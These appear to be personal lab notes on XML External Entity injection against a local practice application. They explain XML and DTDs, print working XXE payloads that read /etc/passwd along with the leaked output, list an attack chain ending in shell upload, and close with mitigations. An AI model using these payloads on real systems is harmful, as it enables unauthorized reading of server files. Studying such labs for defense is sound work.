

XML External Entity (XXE) Injection - Chronological Notes

NOTE 1: Steps of Finding the Bug

Properly explain the details with required assessment:

1. **Login** - Initial access to the application
2. **Reflected & Stored XSS injection using XSS Payload** - Cross-site scripting testing
3. **Critical findings using SQL injection** - Database vulnerability testing
4. **Find out Admin user credentials** - Privilege escalation
5. **Modify POST request and Upload Shell using Burpsuite** - Remote code execution

Result: (To be determined)

NOTE 2: XML Basics

What is XML?

- eXtensible Markup Language
- Structured syntax
- Designed to be human readable as well as machine readable

DTD (Document Type Definition):

- Used for defining XML document structure
- Can also be defined outside of the XML file (External)

Syntax:

text

<!DOCTYPE root-element [element-declarations]>

NOTE 3: What is XML External Entity Injection?

Definition:

XML external entity injection (XXE) is a web security vulnerability that allows an attacker to interfere with an application's processing of XML data.

Capabilities:

- View files on the application server filesystem
- Interact with any back-end or external systems that the application itself can access

Escalation Potential:

In some situations, an attacker can escalate an XXE attack to compromise the underlying server or other back-end infrastructure by leveraging the XXE vulnerability to perform SSRF (Server-Side Request Forgery) attacks.

NOTE 4: XXE Attack Diagram**Malicious XML Payload:**

xml

```
<?xml version="1"?>
```

```
<!DOCTYPE stockCheck [
```

```
<!ENTITY xxe SYSTEM "file:///etc/passwd">
```

```
]>
```

```
<stockCheck><productId>&xxe;</productId></stockCheck>
```

Result - /etc/passwd File Content:

text

```
root:x:0:0:root:/root:/bin/bash
```

```
daemon:x:1:1:daemon:/usr/bin:/bin/sh
```

```
bin:x:2:2:bin:/bin:/bin/sh
```

```
sys:x:3:3:sys:/dev:/bin/sh
```

```
sync:x:4:65534:sync:/bin:/bin/sync
```

```
games:x:5:60:games:/usr/games:/bin/sh
```

```
man:x:6:12:man:/var/cache/man:/bin/sh
```

```
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
```

```
mail:x:8:8:mail:/var/mail:/bin/sh
```

```
news:x:9:9:news:/var/spool/news:/bin/sh
```

```
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
```

```
proxy:x:13:13:proxy:/bin:/bin/sh
```

NOTE 5: Lab Environment - XXE 0x01

Lab: Labs / XXE 0x01

URL: <http://localhost/labs/e0x01.php>

Page Title: Bulk user update

Instructions:

Upload an XML file with the structure:

text

```
<creds> <user>username</user> <password>password</password> </creds>
```

Form Fields:

- File upload: Browse...
- Upload button

Successful Parsing Display:

text

File uploaded and parsed successfully:

User: testuser

Password: testpass

NOTE 6: Source Code Analysis - XXE 0x01

HTML Form Structure (lines 22-30):

html

```
<label for="formFile" class="form-label">Upload an XML file with the structure:<br>
    &lt;creds&gt; &lt;user&gt;username&lt;/user&gt; &lt;password&gt;password&lt;/password&gt;
    &lt;/creds&gt;
</label>

<input class="form-control" type="file" id="formFile" name="uploaded_file">

<div class="mb-3">
    <button class="btn btn-outline-secondary" type="submit">Upload</button>
</div>
```

Parsing Result (lines 33-53):

text

File uploaded and parsed successfully:

User: root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

gnats:x:41:41:GnatS Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

apt:x:100:65534:/nonexistent:/usr/sbin/nologin

Password: pass

Note: The application is outputting the contents of /etc/passwd file, indicating a successful XXE injection.

NOTE 7: Lab Directory Structure

User: zisan@zisan

Location: ~/Downloads/labs

Navigating to user-content:

```
bash
```

```
cd user-content
```

user-content Directory Contents:

```
text
```

```
xxe-exploit.xml
```

```
xxe-safe.xml
```

NOTE 8: Safe XML File (xxe-safe.xml)

Location: ~/Downloads/labs/user-content

Command:

```
bash
```

```
cat xxe-safe.xml
```

File Content:

```
xml
```

```
<?xml version="1.0" encoding="UTF-8"?>
```

```
<creds>
```

```
  <user>testuser</user>
```

```
  <password>testpass</password>
```

```
</creds>
```

Purpose: A legitimate XML file that follows the required structure

NOTE 9: Malicious XML Exploit File (xxe-exploit.xml)

Location: ~/Downloads/labs/user-content

Command:

```
bash
```

```
cat xxe-exploit.xml
```

File Content:

xml

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE creds [
<!ELEMENT creds ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<creds><user>&xxe;</user><password>pass</password></creds>
```

Payload Explanation:

- **DOCTYPE declaration:** Defines the document type
- **ELEMENT creds ANY:** Allows any content within the creds element
- **ENTITY xxe SYSTEM "file:///etc/passwd":** Creates an external entity that reads the /etc/passwd file
- **&xxe;:** References the entity, causing the file contents to be inserted

NOTE 10: XXE 0x01 Lab Interface

Lab Title: Labs / XXE 0x01

Function: Bulk user update

Upload Form:

text

Upload an XML file with the structure:

```
<cred> <user>username</user> <password>password</password> </cred>
```

Browse... xxe-safe.xml

[Upload]

Note: The lab interface shows the structure as <cred> while earlier it was <creds>. This indicates the application is expecting a specific format but is vulnerable to XXE injection.

NOTE 11: File Upload and Parsing Result

Successful Upload Display:

text

File uploaded and parsed successfully:

User: root:x:0:0:root:/root:/bin/bash

daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin

bin:x:2:2:bin:/bin:/usr/sbin/nologin

sys:x:3:3:sys:/dev:/usr/sbin/nologin

sync:x:4:65534:sync:/bin:/bin/sync

games:x:5:60:games:/usr/games:/usr/sbin/nologin

man:x:6:12:man:/var/cache/man:/usr/sbin/nologin

lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin

mail:x:8:8:mail:/var/mail:/usr/sbin/nologin

news:x:9:9:news:/var/spool/news:/usr/sbin/nologin

uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

proxy:x:13:13:proxy:/bin:/usr/sbin/nologin

www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin

irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin

gnats:x:41:41:GnatS Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

apt:x:100:65534:/nonexistent:/usr/sbin/nologin

Password: pass

Observation: The application parsed the uploaded XML and output the contents of the /etc/passwd file instead of the expected username, confirming a successful XXE vulnerability.

NOTE 12: Browser View Source

View Source URL: view-source:<http://localhost/labs/e0x01.php>

Key Observations:

1. The form expects XML upload with specific structure
2. The application parses XML and displays the result
3. Bootstrap CSS and JS are loaded from local assets
4. The page uses Popper.js and Bootstrap for styling

Scripts Loaded:

html

```
<script src="../assets/popper.min.js"></script>
```

```
<script src="../assets/bootstrap.min.js"></script>
```

SUMMARY

The documented process demonstrates a complete XXE (XML External Entity) injection attack chain:

1. **Theory:** Understanding XML basics, DTD, and what XXE vulnerabilities are
2. **Payload Preparation:** Creating an XML file with a malicious external entity:
 - DOCTYPE declaration with external entity referencing /etc/passwd
 - Reference the entity in the XML content
3. **Lab Setup:** Navigating to the XXE 0x01 lab directory
4. **Attack Execution:**
 - Safe XML file (xxe-safe.xml) with legitimate content
 - Malicious XML file (xxe-exploit.xml) with XXE payload
5. **Successful Exploitation:**
 - The application parsed the XML and read the /etc/passwd file
 - User account information was displayed (root, daemon, bin, sys, etc.)
 - Password field displayed "pass"

Vulnerability Details:

- Application: Bulk user update function
- Vulnerability: XML External Entity (XXE) Injection
- Impact: File disclosure (reading arbitrary files from the server)

- Data Exposed: /etc/passwd file containing system user accounts
- Example user accounts revealed:
 - root, daemon, bin, sys, sync, games, man, lp
 - mail, news, uucp, proxy, www-data, backup, list
 - irc, gnats, nobody, apt

Security Implications:

- Attackers can read sensitive system files
- Potential for SSRF attacks
- Escalation to full server compromise possible
- Credentials and sensitive information can be exposed

Mitigation:

- Disable external entity processing
- Use secure XML parsers
- Validate and sanitize XML input
- Implement proper error handling
- Use whitelisting for allowed XML structures